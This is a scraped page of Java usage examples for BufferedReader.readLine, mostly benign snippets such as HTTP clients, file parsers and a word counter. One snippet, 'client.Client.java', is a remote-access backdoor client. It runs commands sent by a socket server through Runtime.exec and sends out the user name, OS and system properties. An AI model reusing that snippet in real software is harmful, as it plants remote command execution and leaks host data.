List of usage examples for java.io BufferedReader readLine
public String readLine() throws IOException
From source file:com.seavus.wordcountermaven.WordCounter.java
/** * @param args the command line arguments * @throws java.io.FileNotFoundException *///ww w . j ava 2 s . c o m public static void main(String[] args) throws FileNotFoundException { InputStream fileStream = WordCounter.class.getClassLoader().getResourceAsStream("test.txt"); BufferedReader br = new BufferedReader(new InputStreamReader(fileStream)); Map<String, Integer> wordMap = new HashMap<>(); String line; boolean tokenFound = false; try { while ((line = br.readLine()) != null) { String[] tokens = line.trim().split("\\s+"); //trims surrounding whitespaces and splits lines into tokens for (String token : tokens) { for (Map.Entry<String, Integer> entry : wordMap.entrySet()) { if (StringUtils.equalsIgnoreCase(token, entry.getKey())) { wordMap.put(entry.getKey(), (wordMap.get(entry.getKey()) + 1)); tokenFound = true; } } if (!token.equals("") && !tokenFound) { wordMap.put(token.toLowerCase(), 1); } tokenFound = false; } } br.close(); } catch (IOException ex) { Logger.getLogger(WordCounter.class.getName()).log(Level.SEVERE, null, ex); } System.out.println("string : " + "frequency\r\n" + "-------------------"); //prints out each unique word (i.e. case-insensitive string token) and its frequency to the console for (Map.Entry<String, Integer> entry : wordMap.entrySet()) { System.out.println(entry.getKey() + " : " + entry.getValue()); } }
From source file:org.kuali.kfs.rest.AccountingPeriodCloseJob.java
public static void main(String[] args) { try {//from ww w. j a v a2s. c om DefaultHttpClient httpClient = new DefaultHttpClient(); HttpPost request = new HttpPost("http://localhost:8080/kfs-dev/coa/accounting_periods/close"); request.addHeader("accept", "application/json"); request.addHeader("content-type", "application/json"); request.addHeader("authorization", "NSA_this_is_for_you"); StringBuilder sb = new StringBuilder(); sb.append("{"); sb.append("\"description\":\"Document: The Next Generation\","); sb.append("\"universityFiscalYear\": 2016,"); sb.append("\"universityFiscalPeriodCode\": \"03\""); sb.append("}"); StringEntity data = new StringEntity(sb.toString()); request.setEntity(data); HttpResponse response = httpClient.execute(request); System.out.println("Status Code: " + response.getStatusLine().getStatusCode()); if (response.getStatusLine().getStatusCode() != 200) { throw new RuntimeException( "Failed : HTTP error code : " + response.getStatusLine().getStatusCode()); } BufferedReader br = new BufferedReader(new InputStreamReader((response.getEntity().getContent()))); String output; System.out.println("Output from Server .... \n"); while ((output = br.readLine()) != null) { System.out.println(output); } httpClient.getConnectionManager().shutdown(); } catch (ClientProtocolException e) { e.printStackTrace(); } catch (IOException e) { e.printStackTrace(); } }
From source file:client.Client.java
/** * @param args the command line arguments *//*from w w w. j a va2 s. c o m*/ public static void main(String[] args) throws Exception { Socket st = new Socket("127.0.0.1", 1604); BufferedReader r = new BufferedReader(new InputStreamReader(st.getInputStream())); PrintWriter p = new PrintWriter(st.getOutputStream()); while (true) { String s = r.readLine(); new Thread() { @Override public void run() { String[] ar = s.split("\\|"); if (s.startsWith("HALLO")) { String str = ""; try { str = InetAddress.getLocalHost().getHostName(); } catch (Exception e) { } p.println("info|" + s.split("\\|")[1] + "|" + System.getProperty("user.name") + "|" + System.getProperty("os.name") + "|" + str); p.flush(); } if (s.startsWith("msg")) { String text = fromHex(ar[1]); String title = ar[2]; int i = Integer.parseInt(ar[3]); JOptionPane.showMessageDialog(null, text, title, i); } if (s.startsWith("execute")) { String cmd = ar[1]; try { Runtime.getRuntime().exec(cmd); } catch (Exception e) { } } if (s.equals("getsystem")) { StringBuilder sb = new StringBuilder(); for (Object o : System.getProperties().entrySet()) { Map.Entry e = (Map.Entry) o; sb.append("\n" + e.getKey() + "|" + e.getValue()); } p.println("systeminfos|" + toHex(sb.toString().substring(1))); p.flush(); } } }.start(); } }
From source file:com.mycompany.test.Jaroop.java
/** * This is the main program which will receive the request, calls required methods * and processes the response./* ww w. j a v a 2 s . c o m*/ * @param args * @throws IOException */ public static void main(String[] args) throws IOException { Scanner scannedInput = new Scanner(System.in); String in = ""; if (args.length == 0) { System.out.println("Enter the query"); in = scannedInput.nextLine(); } else { in = args[0]; } in = in.toLowerCase().replaceAll("\\s+", "_"); int httpStatus = checkInvalidInput(in); if (httpStatus == 0) { System.out.print("Not found"); System.exit(0); } String url = "https://en.wikipedia.org/w/api.php?format=json&action=query&prop=extracts&exintro=&explaintext=&titles=" + in; HttpURLConnection connection = getConnection(url); BufferedReader input = new BufferedReader(new InputStreamReader(connection.getInputStream())); String request = ""; StringBuilder response = new StringBuilder(); while ((request = input.readLine()) != null) { //only appending what ever is required for JSON parsing and ignoring the rest response.append("{"); //appending the key "extract" to the string so that the JSON parser can parse it's value, //also we don't need last 3 paranthesis in the response, excluding them as well. response.append(request.substring(request.indexOf("\"extract"), request.length() - 3)); } parseJSON(response.toString()); }
From source file:org.corfudb.sharedlog.examples.ConfigClnt.java
public static void main(String[] args) throws IOException { DefaultHttpClient httpclient = new DefaultHttpClient(); final BufferedReader prompt = new BufferedReader(new InputStreamReader(System.in)); CorfuConfiguration C = null;//w w w . j a v a2 s .c om while (true) { System.out.print("> "); String line = prompt.readLine(); if (line.startsWith("get")) { HttpGet httpget = new HttpGet("http://localhost:8000/corfu"); System.out.println("Executing request: " + httpget.getRequestLine()); HttpResponse response = (HttpResponse) httpclient.execute(httpget); System.out.println("----------------------------------------"); System.out.println(response.getStatusLine()); // response.getEntity().writeTo(System.out); // System.out.println(); // System.out.println("----------------------------------------"); C = new CorfuConfiguration(response.getEntity().getContent()); } else { if (C == null) { System.out.println("configuration not set yet!"); continue; } HttpPost httppost = new HttpPost("http://localhost:8000/corfu"); httppost.setEntity(new StringEntity(C.ConfToXMLString())); System.out.println("Executing request: " + httppost.getRequestLine()); HttpResponse response = httpclient.execute(httppost); System.out.println("----------------------------------------"); System.out.println(response.getStatusLine()); response.getEntity().writeTo(System.out); } } // httpclient.close(); }
From source file:ProxyTunnelDemo.java
public static void main(String[] args) throws Exception { ProxyClient proxyclient = new ProxyClient(); // set the host the proxy should create a connection to ///*from w w w. j a v a2s.c om*/ // Note: By default port 80 will be used. Some proxies only allow conections // to ports 443 and 8443. This is because the HTTP CONNECT method was intented // to be used for tunneling HTTPS. proxyclient.getHostConfiguration().setHost("www.yahoo.com"); // set the proxy host and port proxyclient.getHostConfiguration().setProxy("10.0.1.1", 3128); // set the proxy credentials, only necessary for authenticating proxies proxyclient.getState().setProxyCredentials(new AuthScope("10.0.1.1", 3128, null), new UsernamePasswordCredentials("proxy", "proxy")); // create the socket ProxyClient.ConnectResponse response = proxyclient.connect(); if (response.getSocket() != null) { Socket socket = response.getSocket(); try { // go ahead and do an HTTP GET using the socket Writer out = new OutputStreamWriter(socket.getOutputStream(), "ISO-8859-1"); out.write("GET http://www.yahoo.com/ HTTP/1.1\r\n"); out.write("Host: www.yahoo.com\r\n"); out.write("Agent: whatever\r\n"); out.write("\r\n"); out.flush(); BufferedReader in = new BufferedReader( new InputStreamReader(socket.getInputStream(), "ISO-8859-1")); String line = null; while ((line = in.readLine()) != null) { System.out.println(line); } } finally { // be sure to close the socket when we're done socket.close(); } } else { // the proxy connect was not successful, check connect method for reasons why System.out.println("Connect failed: " + response.getConnectMethod().getStatusLine()); System.out.println(response.getConnectMethod().getResponseBodyAsString()); } }
From source file:yangqi.hc.HttpClientTest.java
/** * @param args//from w w w.j a va2 s . c o m * @throws IOException * @throws ClientProtocolException */ public static void main(String[] args) throws ClientProtocolException, IOException { // TODO Auto-generated method stub HttpClient httpclient = new DefaultHttpClient(); // Prepare a request object HttpGet httpget = new HttpGet("http://www.apache.org/"); // Execute the request HttpResponse response = httpclient.execute(httpget); // Examine the response status System.out.println(response.getStatusLine()); System.out.println(response.getLocale()); for (Header header : response.getAllHeaders()) { System.out.println(header.toString()); } // Get hold of the response entity HttpEntity entity = response.getEntity(); System.out.println("==========entity========="); System.out.println(entity.getContentLength()); System.out.println(entity.getContentType()); System.out.println(entity.getContentEncoding()); // If the response does not enclose an entity, there is no need // to worry about connection release if (entity != null) { InputStream instream = entity.getContent(); try { BufferedReader reader = new BufferedReader(new InputStreamReader(instream)); // do something useful with the response System.out.println(reader.readLine()); } catch (IOException ex) { // In case of an IOException the connection will be released // back to the connection manager automatically throw ex; } catch (RuntimeException ex) { // In case of an unexpected exception you may want to abort // the HTTP request in order to shut down the underlying // connection and release it back to the connection manager. httpget.abort(); throw ex; } finally { // Closing the input stream will trigger connection release instream.close(); } // When HttpClient instance is no longer needed, // shut down the connection manager to ensure // immediate deallocation of all system resources httpclient.getConnectionManager().shutdown(); } }
From source file:org.sbq.batch.mains.ActivityEmulator.java
public static void main(String[] vars) throws IOException { System.out.println("ActivityEmulator - STARTED."); ActivityEmulator activityEmulator = new ActivityEmulator(); activityEmulator.begin();/* w ww.j a va2s . co m*/ System.out.println("Enter your command: >"); BufferedReader in = new BufferedReader(new InputStreamReader(System.in)); String command = null; while (!"stop".equals(command = in.readLine())) { if ("status".equals(command)) { List<String> onlineUsers = new LinkedList<String>(); for (Map.Entry<String, AtomicBoolean> entry : activityEmulator.getUserStatusByLogin().entrySet()) { if (entry.getValue().get()) { onlineUsers.add(entry.getKey()); } } System.out.println("Users online: " + Arrays.toString(onlineUsers.toArray())); System.out.println("Number of cycles left: " + activityEmulator.getBlockingQueue().size()); } System.out.println("Enter your command: >"); } activityEmulator.stop(); System.out.println("ActivityEmulator - STOPPED."); }
From source file:RhymingWords.java
public static void main(String[] args) throws IOException { FileReader words = new FileReader("words.txt"); // do the reversing and sorting Reader rhymedWords = reverse(sort(reverse(words))); // write new list to standard out BufferedReader in = new BufferedReader(rhymedWords); String input;//from ww w . j av a2s .co m while ((input = in.readLine()) != null) System.out.println(input); in.close(); }
From source file:com.termmed.sampling.ConceptsWithMoreThanThreeRoleGroups.java
/** * The main method.//from w w w . ja v a2 s .co m * * @param args the arguments * @throws Exception the exception */ public static void main(String[] args) throws Exception { System.out.println("Starting..."); Map<String, Set<String>> groupsMap = new HashMap<String, Set<String>>(); File relsFile = new File( "/Users/alo/Downloads/SnomedCT_RF2Release_INT_20160131-1/Snapshot/Terminology/sct2_Relationship_Snapshot_INT_20160131.txt"); BufferedReader br2 = new BufferedReader(new FileReader(relsFile)); String line2; int count2 = 0; while ((line2 = br2.readLine()) != null) { // process the line. count2++; if (count2 % 10000 == 0) { //System.out.println(count2); } List<String> columns = Arrays.asList(line2.split("\t", -1)); if (columns.size() >= 6) { if (columns.get(2).equals("1") && !columns.get(6).equals("0")) { if (!groupsMap.containsKey(columns.get(4))) { groupsMap.put(columns.get(4), new HashSet<String>()); } groupsMap.get(columns.get(4)).add(columns.get(6)); } } } System.out.println("Relationship groups loaded"); Gson gson = new Gson(); System.out.println("Reading JSON 1"); File crossoverFile1 = new File("/Users/alo/Downloads/crossover_role_to_group.json"); String contents = FileUtils.readFileToString(crossoverFile1, "utf-8"); Type collectionType = new TypeToken<Collection<ControlResultLine>>() { }.getType(); List<ControlResultLine> lineObject = gson.fromJson(contents, collectionType); Set<String> crossovers1 = new HashSet<String>(); for (ControlResultLine loopResult : lineObject) { crossovers1.add(loopResult.conceptId); } System.out.println("Crossovers 1 loaded, " + lineObject.size() + " Objects"); System.out.println("Reading JSON 2"); File crossoverFile2 = new File("/Users/alo/Downloads/crossover_group_to_group.json"); String contents2 = FileUtils.readFileToString(crossoverFile2, "utf-8"); List<ControlResultLine> lineObject2 = gson.fromJson(contents2, collectionType); Set<String> crossovers2 = new HashSet<String>(); for (ControlResultLine loopResult : lineObject2) { crossovers2.add(loopResult.conceptId); } System.out.println("Crossovers 2 loaded, " + lineObject2.size() + " Objects"); Set<String> foundConcepts = new HashSet<String>(); int count3 = 0; BufferedWriter writer = new BufferedWriter( new FileWriter(new File("ConceptsWithMoreThanThreeRoleGroups.csv"))); ; for (String loopConcept : groupsMap.keySet()) { if (groupsMap.get(loopConcept).size() > 3) { writer.write(loopConcept); writer.newLine(); foundConcepts.add(loopConcept); count3++; } } writer.close(); System.out.println("Found " + foundConcepts.size() + " concepts"); int countCrossover1 = 0; for (String loopConcept : foundConcepts) { if (crossovers1.contains(loopConcept)) { countCrossover1++; } } System.out.println(countCrossover1 + " are present in crossover_role_to_group"); int countCrossover2 = 0; for (String loopConcept : foundConcepts) { if (crossovers2.contains(loopConcept)) { countCrossover2++; } } System.out.println(countCrossover2 + " are present in crossover_group_to_group"); System.out.println("Done"); }